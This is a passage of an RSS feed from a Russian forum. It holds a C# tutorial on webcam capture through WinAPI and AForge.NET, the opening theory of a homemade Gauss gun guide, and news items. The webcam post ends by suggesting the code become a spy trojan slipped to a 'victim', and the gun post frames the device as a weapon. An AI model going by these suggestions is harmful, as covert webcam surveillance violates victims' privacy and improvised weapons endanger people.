						&lt;p&gt;Особенностью программы так же является возможность сохранения и последующей работы с образом диска. Авторы предлагают выполнять создание такого образа до того, как вы начнете восстановление файлов (особенно если количество восстанавливаемых файлов большое), а также для того, чтобы не произошло разрушение контента диска при некорректных действиях пользователя. Рекомендуется создавать образ диска (файл) на других логических дисках или на сетевых дисках. После его создания такой образ может быть простейшим образом подключен к программе, и с ним можно будет работать как с реальным логическим диском. &lt;/p&gt;
						&lt;p&gt;Очень неплохо ведет себя программа в случае восстановления файлов с битых дисков. Обнаружив нечитаемый кластер, она не будет пытаться вытащить из него информацию, а запишет вместо него нули и перейдет к следующему кластеру.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:27:30 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=11#p11</guid>
		</item>
		<item>
			<title>Подглядываем через веб-камеру: учимся использовать встроенную веб-каме</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=10#p10</link>
			<description>&lt;p&gt;Некоторые люди опасаются, что встроенная в их ноутбуки вебкамера может за ними подглядывать. Они опасаются этого настолько серьезно, что порой даже заклеивают изолентой ее недремлющее око. Делают они это не зря. Мы расскажем, как можно программно овладеть встроенной в ноутбук веб-камерой и использовать ее функционал как в мирных, так и не очень целях.&lt;br /&gt;Начинаем реализацию: первые досадные огорчения&lt;/p&gt;
						&lt;p&gt;Я был очень удивлен и расстроен, когда узнал, что в великом и могучем .NET Framework напрочь отсутствует возможность простого взаимодействия с веб-камерами. В четвертой версии ситуация улучшилась (для SilverLight-проектов точно появились соответствующие классы), но протестировать я их не успел, поскольку пример для данной статьи я начал писать еще до официального выхода VS2010 и 4-го .NET’a.&lt;/p&gt;
						&lt;p&gt;Практически отчаявшись, я плотно засел в гугле. Результаты поиска по рунету меня не вдохновили – все, что я нашел – это ссылки на MSDN и технологию DirectDraw. Я даже попробовал набросать простенький примерчик, но из-за отсутствия опыта работы с DirectDraw меня постиг облом. У меня получилось собрать совсем простенькое приложение, но я так и не смог выловить в нем все глюки. &lt;/p&gt;
						&lt;p&gt;Еще больше отчаявшись, я принялся шерстить ресурсы наших западных товарищей. Проштудировав несколько десятков ссылок, я смог нарыть много вкусностей. Среди них были всевозможные примеры и небольшие статейки (американцы не любят много писать). Мне даже удалось найти рабочий пример на основе DirectDraw, но, когда я увидел код – ужаснулся. Разобраться в нем было тяжело. Поэтому я решил с ним не заморачиваться, а попытаться найти способ попроще. Не успел я распрощаться с примером на DirectDraw, как на глаза мне попался еще один. Автор примера закодил целую библиотеку для работы с веб-камерами и другими устройствами видеозахвата, используя технологию VFW (Video For Windows). &lt;/p&gt;
						&lt;p&gt;Жаль, что проект автора (я про библиотеку) был максимально кастрирован. Все, что позволяла сделать библиотека – вывести изображение с веб-камеры. Ни захвата отдельных кадров, ни записи видео и других полезных нам фич не было.&lt;/p&gt;
						&lt;p&gt;И тем не менее, мое подсознание решительно сказало мне, что этот проект и есть то, что я искал. Не успел я беглым взглядом пробежаться по его коду, как увидел имена знакомых win-сообщений и не менее знакомых названий WinAPI функций. Когда-то давным-давно мне приходилось писать приложение для работы с веб-камерой на Delphi. Тогда я и столкнулся с этими функциями впервые. &lt;/p&gt;
						&lt;p&gt;Посмотрев сорцы, я решил написать свою версию библиотеки и снабдить ее нужным функционалом.&lt;br /&gt;Взвод, готовность №1&lt;/p&gt;
						&lt;p&gt;Вполне возможно, что в одном компе/ноуте может быть несколько веб-камер. За примером далеко ходить не надо. Мне по работе часто приходится организовывать простенькие видеоконференции. Обычно в них участвуют два человека. Каждого из участников снимает отдельная камера. Сами камеры подключены к моему компу. Когда я начинаю съемку, то выбираю в программе для работы с видеокамерами нужную в настоящий момент камеру. Раз уж мы решили взять камеру под контроль, то обязаны разобраться, как получать список установленных устройств видеозахвата и выбрать то, с которым будем работать в настоящий момент.&lt;/p&gt;
						&lt;p&gt;Для решения этой нехитрой задачи в WindowsAPI предусмотрена функция capGetDriverDescription(). Она принимает пять параметров:&lt;br /&gt;wDriverIndex – индекс драйвера видеозахвата. Значение индекса может варьироваться от 0 до 9;&lt;br /&gt;lpszName – указатель на буфер, содержащий соответствующее имя драйвера;&lt;br /&gt;cbName – размер (в байтах) буфера lpszName;&lt;br /&gt;lpszVer – указатель на буфер, содержащий описание определенного драйвера;&lt;br /&gt;cbVer – размер буфера (в байтах), в котором хранится описание драйвера. &lt;/p&gt;
						&lt;p&gt;В случае успешного выполнения, функция вернет TRUE. Описание функции у нас есть, теперь посмотрим, как определить ее в C#. Делается это так:&lt;/p&gt;
						&lt;p&gt;[DllImport(&amp;quot;avicap32.dll&amp;quot;)]&lt;/p&gt;
						&lt;p&gt;protected static extern bool capGetDriverDescriptionA (short wDriverIndex, [MarshalAs(UnmanagedType.VBByRefStr)] &lt;br /&gt;ref String lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref &lt;br /&gt;String lpszVer, int cbVer);&lt;/p&gt;
						&lt;p&gt;Обрати внимание, что перед тем, как указать имя подключаемой функции, в обязательном порядке требуется написать имя DLL, в которой она определена. В нашем случае это avicap32.dll.&lt;/p&gt;
						&lt;p&gt;Так, функция импортирована, теперь можно написать класс, в котором она будет использоваться. Весь код класса для получения списка устройств я приводить не стану, покажу лишь код ключевого метода:&lt;/p&gt;
						&lt;p&gt;public static Device[] GetAllCapturesDevices()&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;String dName = &amp;quot;&amp;quot;.PadRight(100);&lt;/p&gt;
						&lt;p&gt;String dVersion = &amp;quot;&amp;quot;.PadRight(100);&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;for (short i = 0; i &amp;lt; 10; i++)&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;if (capGetDriverDescriptionA(i, &lt;/p&gt;
						&lt;p&gt;ref dName, 100, ref dVersion, &lt;/p&gt;
						&lt;p&gt;100))&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;Device d = new Device(i);&lt;/p&gt;
						&lt;p&gt;d.Name = dName.Trim();&lt;/p&gt;
						&lt;p&gt;d.Version = dVersion.Trim();&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;devices.Add(d); &lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;return (Device[])devices.ToArray&lt;/p&gt;
						&lt;p&gt;(typeof(Device));&lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;Код выглядит проще некуда. Самое интересное место в нем – цикл, в котором происходит вызов упомянутой выше функции capGetDriverDescription. Из MSDN мы знаем, что индекс (первый параметр функции capGetDriverDescription()) может варьироваться от 0 до 9, поэтому мы целенаправленно запускаем цикл в этом диапазоне. Результатом выполнения метода будет массив классов Device (этот класс я определил самостоятельно, смотри соответствующие исходники).&lt;/p&gt;
						&lt;p&gt;С получением списка устройств разобрались, теперь позаботимся об отображении видеопотока с камеры. Тут нам сослужит хорошую службу функция capCreateCaptureWindow(), предназначенная для создания окна захвата.&lt;/p&gt;
						&lt;p&gt;Немного забегая вперед, скажу, что дальнейшие действия с камерой будут происходить путем банальной отправки сообщений окну захвата. Да, именно так, придется воспользоваться до боли знакомой windows-программисту (и приколисту) функцией SendMessage().&lt;/p&gt;
						&lt;p&gt;Теперь присмотримся внимательнее к функции capCreateCaptureWindow(). Ей требуется передать шесть аргументов:&lt;br /&gt;lpszWindowName – нуль-терминальная строка, содержащая имя окна захвата;&lt;br /&gt;dwStyle – стиль окна;&lt;br /&gt;x – координата X;&lt;br /&gt;y – координата Y;&lt;br /&gt;nWidth – ширина окна;&lt;br /&gt;nHeight – высота окна;&lt;br /&gt;hWnd – handle родительского окна;&lt;br /&gt;nID – идентификатор окна.&lt;/p&gt;
						&lt;p&gt;Результатом выполнения функции будет handle созданного окна или NULL в случае ошибки. Поскольку эта функция также относится к WinAPI, то ее опять-таки нужно импортировать. Код импортирования приводить не буду, поскольку он практически идентичен тому, что я писал для функции capGetDriverDescription(). Лучше сразу взглянем на процесс инициализации камеры:&lt;/p&gt;
						&lt;p&gt;deviceHandle = capCreateCaptureWindowA (ref deviceIndex, WS_VISIBLE | &lt;br /&gt;WS_CHILD, 0, 0, windowWidth, windowHeight, handle, 0);&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;if (SendMessage(deviceHandle, WM_CAP_DRIVER_CONNECT, this.index, 0) &amp;gt; 0)&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;SendMessage(deviceHandle, WM_CAP_SET_SCALE, -1, 0);&lt;/p&gt;
						&lt;p&gt;SendMessage(deviceHandle, WM_CAP_SET_PREVIEWRATE, 0x42, 0);&lt;/p&gt;
						&lt;p&gt;SendMessage(deviceHandle, WM_CAP_SET_PREVIEW, -1, 0);&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;SetWindowPos(deviceHandle, 1, 0, 0, windowWidth, windowHeight, 6);&lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;В этом коде сразу после создания окна производится попытка отправки сообщения WM_CAP_DRIVER_CONNECT. Отличный от нуля результат выполнения функции расскажет нам о ее успешности.&lt;/p&gt;
						&lt;p&gt;Теперь представим, что сегодня боги на нашей стороне и произведем незамедлительную отправку нескольких сообщений: WM_CAP_SET_SCALE, WM_CAP_SET_PREVIEWRATE, WM_CAP_SET_PREVIEW. Увы, как и в случае с функциями, C# ничего не знает о существовании этих констант. Тебе опять придется определять их самостоятельно. Список всех необходимых констант с комментариями я привел ниже.&lt;/p&gt;
						&lt;p&gt;//Пользовательское сообщение&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP = 0x400;&lt;/p&gt;
						&lt;p&gt;//Соединение с драйвером устройства видеозахвата&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_DRIVER_CONNECT = 0x40a;&lt;/p&gt;
						&lt;p&gt;//Разрыв связи с драйвером видеозахвата&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_DRIVER_DISCONNECT = 0x40b;&lt;/p&gt;
						&lt;p&gt;//Копирование кадра в буффер обмена&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_EDIT_COPY = 0x41e;&lt;/p&gt;
						&lt;p&gt;//Включение/отключение режима предпосмотра&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_SET_PREVIEW = 0x432;&lt;/p&gt;
						&lt;p&gt;//Включение/отключение режима оверлей&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_SET_OVERLAY = 0x433;&lt;/p&gt;
						&lt;p&gt;//Скорость previewrate&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_SET_PREVIEWRATE = 0x434;&lt;/p&gt;
						&lt;p&gt;//Включение/отключение масштабирования&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_SET_SCALE = 0x435;&lt;/p&gt;
						&lt;p&gt;private const int WS_CHILD = 0x40000000;&lt;/p&gt;
						&lt;p&gt;private const int WS_VISIBLE = 0x10000000;&lt;/p&gt;
						&lt;p&gt;//Установка callback-функции для preview&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_SET_CALLBACK_FRAME = 0x405;&lt;/p&gt;
						&lt;p&gt;//Получение одиночного фрейма с драйвера видеозахвата&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_GRAB_FRAME = 0x43c;&lt;/p&gt;
						&lt;p&gt;//Сохранение кадра с камеры в файл&lt;/p&gt;
						&lt;p&gt;private const int WM_CAP_SAVEDIB = 0x419;&lt;/p&gt;
						&lt;p&gt;Дальнейшее описание класса для работы с веб-камерой я опущу. Каркас я рассмотрел, а со всем остальным ты легко разберешься путем раскуривания моего хорошо прокомментированного исходника. Единственное, что я не хотел бы оставлять за кадром – это пример использования библиотеки.&lt;/p&gt;
						&lt;p&gt;Всего в библиотеке я реализовал (точнее, дописал) пару методов: GetAllDevices (уже рассматривали), GetDevice (получение драйвера устройства видеозахвата по индексу), ShowWindow (отображение изображения с веб-камеры), GetFrame (захват отдельного кадра в графический файл) и GetCapture (захват видеопотока). &lt;/p&gt;
						&lt;p&gt;В качестве демонстрации работоспособности изготовленной либы я набросал небольшое приложение. На форме я расположил один компонент ComboBox (используется для хранения списка имеющихся устройств видеозахвата) и несколько кнопок – &amp;quot;Обновить&amp;quot;, &amp;quot;Пуск&amp;quot;, &amp;quot;Остановить&amp;quot; и &amp;quot;Скриншот&amp;quot;. Ах да, еще на моей форме пестреет компонент Image. Его я применяю для отображения видео с камеры.&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Разбор полетов начнем с кнопки &amp;quot;Обновить&amp;quot;. По ее нажатию я получаю список всех установленных устройств видеозахвата. Начинка этого обработчика события:&lt;/p&gt;
						&lt;p&gt;Device[] devices = DeviceManager.GetAllDevices();&lt;/p&gt;
						&lt;p&gt;foreach (Device d in devices)&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;cmbDevices.Items.Add(d);&lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;Правда, все просто? Разработанная нами библиотека берет на себя все черную работу и нам остается лишь наслаждаться объектно-ориентированным программированием. Еще проще выглядит код для включения отображения видеопотока с камеры:&lt;/p&gt;
						&lt;p&gt;Device selectedDevice = DeviceManager.GetDevice(cmbDevices.SelectedIndex);&lt;/p&gt;
						&lt;p&gt;selectedDevice.ShowWindow(this.picCapture);&lt;/p&gt;
						&lt;p&gt;Опять же, все проще пареной репы. Ну и теперь взглянем на код кнопки &amp;quot;Скриншот&amp;quot;:&lt;/p&gt;
						&lt;p&gt;Device selectedDevice = DeviceManager.GetDevice(cmbDevices.SelectedIndex);&lt;/p&gt;
						&lt;p&gt;selectedDevice.FrameGrabber();&lt;/p&gt;
						&lt;p&gt;Я не стал уделять особого внимания методу FrameGrabber(). В моем исходнике вызов метода приводит к сохранению текущего кадра прямо в корень системного диска. Разумеется, это не очень корректно, поэтому перед боевым применением программы не забудь внести все необходимые поправки.&lt;br /&gt;Готовность № 3&lt;/p&gt;
						&lt;p&gt;Теперь настало время поговорить о том, как соорудить простенькую, но надежную систему видеонаблюдения. Обычно такие системы базируются на двух алгоритмах: различие двух фреймов и простое моделирование фона. Их реализация (код) достаточно объемна, поэтому в самый последний момент я решил пойти по более простому пути. Под легким путем подразумевается использование мощного, но пока малоизвестного фреймворка для .NET – AForge.NET.&lt;/p&gt;
						&lt;p&gt;AForge.NET в первую очередь предназначен для разработчиков и исследователей. С его помощью, девелоперы могут существенно облегчить свой труд при разработке проектов для следующих областей: нейросети, работа с изображениями (наложение фильтров, редактирование изображений, попиксельная фильтрация, изменение размера, поворот изображения), генетика, робототехника, взаимодействие с видео устройствами и т.д. С фреймворком поставляется хорошая документация. В ней описаны абсолютно все возможности продукта. Не поленись хорошенько с ней ознакомиться. Особенно мне хочется отметить качество кода этого продукта. Все написано цивильно и копаться в коде – одно удовольствие.&lt;/p&gt;
						&lt;p&gt;Теперь вернемся к нашей непосредственной задаче. Скажу честно, средствами фреймворка она решается как дважды два. &amp;quot;Тогда зачем ты мне парил мозг WinAPI функциями?&amp;quot; – недовольно спросишь ты. А за тем, чтобы ты не был ни в чем ограничен. Сам ведь знаешь, что проекты бывают разные. Где-то удобнее применить махину .NET, а где-то проще обойтись старым добрым WinAPI.&lt;/p&gt;
						&lt;p&gt;Вернемся к нашей задачке. Для реализации детектора движений нам придется воспользоваться классом MotionDetector из вышеупомянутого фреймворка. Класс отлично оперирует объектами типа Bitmap и позволяет быстренько вычислить процент расхождения между двумя изображениями. В виде кода это будет выглядеть примерно так:&lt;/p&gt;
						&lt;p&gt;MotionDetector detector = new MotionDetector(&lt;/p&gt;
						&lt;p&gt;new TwoFramesDifferenceDetector( ),&lt;/p&gt;
						&lt;p&gt;new MotionAreaHighlighting( ) );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;//Обработка очередного кадра&lt;/p&gt;
						&lt;p&gt;if ( detector != null )&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;float motionLevel = detector.ProcessFrame( image );&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;if ( motionLevel &amp;gt; motionAlarmLevel )&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;flash = (int) ( 2 * ( 1000 / alarmTimer.Interval ) );&lt;/p&gt;
						&lt;p&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;if ( detector.MotionProcessingAlgorithm is BlobCountingObjectsProcessing )&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;BlobCountingObjectsProcessing countingDetector = (BlobCountingObjectsProcessing) &lt;br /&gt;detector.MotionProcessingAlgorithm;&lt;/p&gt;
						&lt;p&gt;objectsCountLabel.Text = &amp;quot;Objects: &amp;quot; + countingDetector.ObjectsCount.ToString( &lt;br /&gt;);&lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;else&lt;/p&gt;
						&lt;p&gt;{&lt;/p&gt;
						&lt;p&gt;objectsCountLabel.Text = &amp;quot;&amp;quot;;&lt;/p&gt;
						&lt;p&gt;}&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;}&lt;/p&gt;
						&lt;p&gt;}&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Вышеприведенный код (не считая инициализацию класса MotionDetector) у меня выполняется при получении очередного кадра с веб-камеры. Получив кадр, я выполняю банальное сравнение (метод ProcessFrame): если значение переменной motionlevel больше motionLevelAlarm (0.015f), то значит, надо бить тревогу! Движение обнаружено. На одном из скришотов хорошо видна работа демонстрация детектора движений. &lt;br /&gt;Готовность №4&lt;/p&gt;
						&lt;p&gt;Веб-камеру можно запросто приспособить для распознавания лиц и создания продвинутого способа лог-она в систему? Если переварив весь этот материал, ты думаешь, что это сложно, то ты ошибаешься! В конце марта на сайте &lt;a href=&quot;http://codeplex.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://codeplex.com&lt;/a&gt; (хостинг для OpenSource проектов от MS) появился пример (а затем и ссылка на статью), демонстрирующий реализацию программы для распознавания лиц с использованием веб-камеры. Сам пример основан на использовании новых возможностей .NET и SilverLight. Разобрать этот пример в рамках журнальной статьи нереально, так как автор исходника постарался и сделал все максимально шикарно. Тут тебе и алгоритмы для работы с изображениями (фильтр размытия, уменьшения шума, попиксельное сравнение, растяжка и т.д.) и демонстрация новинок SilverLight и много чего еще. Одним словом, must use! Ссылку на проект и статью ищи ниже.&lt;br /&gt;Конец фильма&lt;/p&gt;
						&lt;p&gt;Приведенные в статье примеры послужат тебе хорошей отправной точкой. На их основе легко сварганить как профессиональную утилиту для работы с веб-камерой, и поднимать на ее продаже несколько сотен баксов в квартал или написать хитрого и злобного трояна-шпиона.&lt;/p&gt;
						&lt;p&gt;Вспомни статью про бэкап Skype-бесед. В ней я говорил, что времена клавиатурных шпионов уже прошли. Сейчас особенно актуальны аудио и видеоданные. Если учесть, что сегодня веб-камера – обязательный атрибут любого ноутбука, то нетрудно представить, сколько интересного видео ты сможешь заснять, подсунув жертве &amp;quot;полезную программку&amp;quot;… Однако я тебе этого не говорил :). Удачи в программировании, а будут вопросы – пиши.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:26:29 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=10#p10</guid>
		</item>
		<item>
			<title>Gauss gun в домашних условиях #1</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=9#p9</link>
			<description>&lt;p&gt;Почему вы читаете этот текст? А не интересуетесь ли вы случайно электромагнитным оружием? Нет?! И правильно :) Скорее всего, причина, приведшая вас к столь нетипичному виду деятельности скрывается где то в пространственно-временном континиуме, когда пиво в холодильнике уже кончилось, а убитый интерес к Кваке после ночной мясорубки ещё не возродился с новой силой. Зависающий мозговой орган тщетно ищет пути вывода организма из кризиса депрессивно-суицидального пофигизма и вы снизошли до чтения текстовиков, накопившихся на винте со времён последней переустановки мастдая.&lt;/p&gt;
						&lt;p&gt;Если вы ещё не успели забыть, текст будет про изготовление электромагнитных ускорителей масс. Что такое электромагнитные ускорители, кто и с чем их ест, а самое главное - куда их можно засунуть? Едят их с яблоками. В яблоках много железа :) А сами электромагнитные ускорители масс (ЭМУ) - это такие технологические устройства, которые разгоняют физические тела обладающие определённой массой, до огромных (или не очень) скоростей, используя электромагнитную энергию. Возможное их практическое применение, думаю, объяснять не надо. В то время, как некоторые особо гуманистичные писатели фантазируют о применении этих орудий для уничтожения крупных метеоритов, Соединённые Штаты ежегодно тратят миллиарды долларов на вооружение этими пушками своих кораблей и систем ПРО.&lt;/p&gt;
						&lt;p&gt;Как и для каких целей будем использовать это оружие мы – зависит только от наших личных пристрастий и от огневой мощи конкретно нашего киллинг-девайса, но то, что мы не будем сбивать им метеориты – это наверняка. Броню танка наша пушка тоже не пробьет. Но самое главное – наше устройство мы изготовим с гораздо меньшими денежными затратами!&lt;/p&gt;
						&lt;p&gt;Некоторые из читающих это текст наверняка сомневаются вообще в самой возможности изготовления таких технических устройств, не говоря уже дешевизне и простоте технологии. Тем не менее, это возможно. Мы ведь не собираемся делать пушку для сбивания баллистических ракет, а сделаем небольшой ручной образец, который будет нагонять страх на людей не сколько огневой мощью, сколько футуристическим внешним видом :) Это можно сравнить, например, с разницей между дальнобойной 200-миллеметровой пушкой и поджигом. Принцип действия один и тот же, зато последний можно изготовить вообще без денежных затрат и сложных технологий, в то время, как разработке крупнокалиберной артиллерии в своё время военные уделяли столько же внимания и средств, как сейчас разработке баллистических ядерных ракет.&lt;/p&gt;
						&lt;p&gt;Наверное, каждый понимает, что на смену огнестрельному оружию рано или поздно придут некие другие технические приспособления, более мощные и технологичные, а главное – с использованием других принципов функционирования. А пока тысячи учёных из НИИ различных стран мира бьются над дешёвыми технологиями изготовления компактных импульсных лазеров, ручных микроволновых излучателей и сверх мощных ускорителей масс, мы имеем возможность уже сейчас собрать такой технологический девайс прямо у себя дома, с использованием зубила, молотка и паяльника. И даже если его мощность будет немногим выше мощности пневматического пистолета, то в любом случае сам факт обладания такой пушкой будет заставлять её владельца пухнуть от гордости, с умным видом показывая её своим офигевающим друганам и знакомым :)&lt;/p&gt;
						&lt;p&gt;Интересные и перспективные дела всегда начинаются с тягомотины. Например, для того, чтобы выпить пива, нужно сходить за ним в киоск. Так и с изготовлением ЭМУ – чтоб его сделать, нужно сначала определится: а что мы, собственно, вообще должны получить и как оно будет функционировать?&lt;/p&gt;
						&lt;p&gt;Именно поэтому начнём с теории:&lt;/p&gt;
						&lt;p&gt;(Заранее прошу извинить за возможные ошибки в теоретической части и неточности в расчетах и рассуждениях.)&lt;/p&gt;
						&lt;p&gt;Существует два типа ускорителей: Rail gun и Gauss gun. Первый - электростатический, отбрасываем сразу, так как в домашних условиях практически невозможно создать систему гироскопического стабилизирования углепластиковых снарядов с титановым напылением и охлажденным до сверхпроводимости тороидальным накопителем энергии. А сами композитные снаряды с термостойкими электродами (аж самому страшно стало! 8]) и тем более достать негде. По этой же причине на изучении первого типа ускорителей останавливаться не будем. (учёных мудаков просьба помолчать! :])&lt;/p&gt;
						&lt;p&gt;Для нас интересен второй тип ЭМУ – гауссовка или Магнитный Ускоритель Масс (как звучит, а?!). Название &amp;quot;Гауссовка&amp;quot; возникло как бы само собой примерно в 20-ых годах прошлого столетия, потому, что величина магнитного поля измерялась тогда в гауссах (10000 гс = 1 Тл). Разгон снарядов в ней осуществляется последовательным &amp;quot;втягиванием&amp;quot; их в расположенные по длине ствола соленоиды. Соленоид – это такая цилиндрическая обмотка из одного или нескольких проводов. В идеале, конечно, все соленоиды должны быть сверхпроводящими и без инерционными, т.е. должны иметь нулевое активное сопротивление и, желательно, низко индуктивное.&lt;/p&gt;
						&lt;p&gt;Смысл идеи ускорения в том, что ферромагнитный предмет (снаряд), обладающий огромной по сравнению с воздухом магнитной проницаемостью, всегда стремится в область более плотного (в данном случае магнитного) поля. Любая система всегда стремится уменьшить свою энергию, а относительно магнитного поля железный снаряд обладает определённой потенциальной энергией, аналогично с энергией тела поднятого над землёй.&lt;/p&gt;
						&lt;p&gt;Не в даваясь в теорию магнитных цепей (никто не испугался? :]), общий принцип ускорения можно описать так: этап прохождения снаряда через соленоид состоит из двух фаз. Первая – снаряд движется к центру соленоида, увеличивая свою кинетическую энергию, вторая фаза, паразитная в нашем случае, снаряд движется от центра соленоида и магнитное поле его тормозит. Чтобы избежать потерю скорости, надо в момент нахождения снаряда в центре соленоида быстро поменять магнитное поле, изменив в ток катушке на противоположный по направлению. В таком случае снаряд не только не замедлит своё движение, а ещё больше увеличит свою скорость. Проблема в том, что моментально изменить ток, величина которого, кстати, очень большая (тысячи и даже миллионы ампер), невозможно из-за индуктивного сопротивления катушки, а приложение большого напряжения для ускорения процесса переключения требует дополнительную трату энергии и огромной мощности источника питания. Поэтому нужно если не инвертировать, то хотя бы уменьшить ток в катушке. В таком случае снаряд вылетит из соленоида, сохранив некоторую скорость.&lt;/p&gt;
						&lt;p&gt;Кроме того, существует ещё ряд проблем. Так как ток в катушке очень большой, а его действие кратковременное, то переменное магнитное поле индуцирует во всех близко расположенных проводящих предметах электрический ток (тот самый электромагнитный импульс, которым находчивые создатели киберпанковых боевиков до смерти запугивают простых смертных юзеров 8]) - возникают потери энергии. Бороться с этим практически невозможно, к тому же существуют и другие, более значимые проблемы.&lt;/p&gt;
						&lt;p&gt;В процессе развития теории, магнитные ускорители разделились на два типа: одноступенчатые и многоступенчатые.&lt;/p&gt;
						&lt;p&gt;Простейшие одноступенчатые гауссовки представляют собой систему из накопителя энергии (конденсатора или батареи конденсаторов), системы включения тока, и самой катушки для разгона снарядов или пуль. Базовая схема может быть дополнена системой отрицательной обратной связи (ООС) для предотвращения возникновения в цепи колебательного процесса (если кто ещё помнит: система кондёра и катушки это колебательный контур). Идея работы одноступенчатого МУ заключается в том, что ток разряжающегося через катушку с незначительной индуктивностью конденсатора возрастает очень быстро. А за счёт наличии в катушке небольшого активного сопротивления, влияние которого резко зависит от величины тока, нарастание величины магнитного поля будет происходить быстрее, чем спад. Таким образом, в период времени, когда снаряд втягивается в соленоид, поле будет сильнее, чем когда снаряд будет выходить из соленоида и снаряд не успеет затормозится после начального разгона.&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;На практике КПД (коэффициент полезного действия) одноступенчатых магнитных ускорителей редко превышает 3%. Обычно же он составляет около 1-ого процента, т.е. только одна сотая энергии накопителя (конденсатора) превратится в кинетическую энергию пули. Остальные 99% пойдут на нагрев обмотки и других проводников системы, кроме того, часть энергии улетит в виде мощного электромагнитного импульса, от которого, кстати, надо оберегать любые электронные и электрические приборы (телефоны, компьютеры, телевизоры) и различные магнитные накопители (аудио/видео кассеты, дискеты, пластиковые карты), расположенные поблизости.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Получается, что если энергия конденсаторов была 100 джоулей, то энергия пули будет всего 1 джоуль.&lt;br /&gt;Пишите во мнения[X], интересна вам эта тем или нет.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:24:17 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=9#p9</guid>
		</item>
		<item>
			<title>Сайт с 10 миллионами пользователей предупреждает о краже паролей</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=8#p8</link>
			<description>&lt;p&gt;Вебсайт, который помогает водителям избежать штрафов за превышение скорости, предупреждает 10 миллионов своих зарегистрированных пользователей о том, что их email-адреса и пароли могут оказаться в руках хакеров, которые нарушили безопасность сайта.&lt;/p&gt;
						&lt;p&gt;Предупреждение было выпущено в четверг сайтом Trapster, который на главной странице хвастается наличием более 10 миллионов пользователей. Пользователи сайта используют краудсорсинг (при помощи мобильного телефона они обмениваются информацией о полицейских засадах) для определения местоположения полиции, которая применяет радар для поимки превышающих скорость водителей.&lt;/p&gt;
						&lt;p&gt;Trapster сообщил, что взлом оценен как &amp;quot;единичный&amp;quot;, и что компания уже предприняла меры для &amp;quot;предотвращения повторения такого рода атак, и продолжает внедрять дополнительные меры безопасности, чтобы защитить информацию в дальнейшем&amp;quot;. &lt;/p&gt;
						&lt;p&gt;Взлом Trapster произошел спустя месяц после того, как хакеры проникли на сервера Gawker Media и украли пароли 1.5 миллиона пользователей и соответствующие email-адреса. После того, как файл, содержащий добычу, был опубликован, многие пользователи Twitter, Facebook и других популярных вебсайтов сообщили об утечке информации из-за брешей в безопасности аккаунтов, отмечая печальный факт, что ничего не поделаешь с тем, что некоторые люди могут использовать один уникальный пароль для различных сайтов.&lt;/p&gt;
						&lt;p&gt;Поэтому команда безопасности Twitter предупредила пользователей Trapster о необходимости сменить пароль вскоре после выпуска информационного сообщения в четверг.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:20:31 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=8#p8</guid>
		</item>
		<item>
			<title>Незащищенные камеры создают опасность</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=7#p7</link>
